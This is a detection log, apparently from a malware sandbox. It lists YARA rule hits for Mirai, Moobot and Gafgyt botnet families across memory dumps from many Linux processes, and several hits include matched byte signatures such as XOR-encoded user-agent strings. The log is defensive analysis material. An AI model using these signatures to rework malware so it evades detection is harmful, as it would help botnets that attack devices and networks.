6980.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6980.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6980.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6980.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6980.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6980.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6690.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6857.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6857.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6857.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6857.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6857.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6857.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6941.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6271.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6940.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6940.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6940.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6940.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6940.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6940.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6720.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6720.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6720.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6720.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6720.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6720.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6294.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7437.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6696.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6696.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6696.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6696.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6696.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6696.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6413.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6737.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6882.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6882.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6882.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6882.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
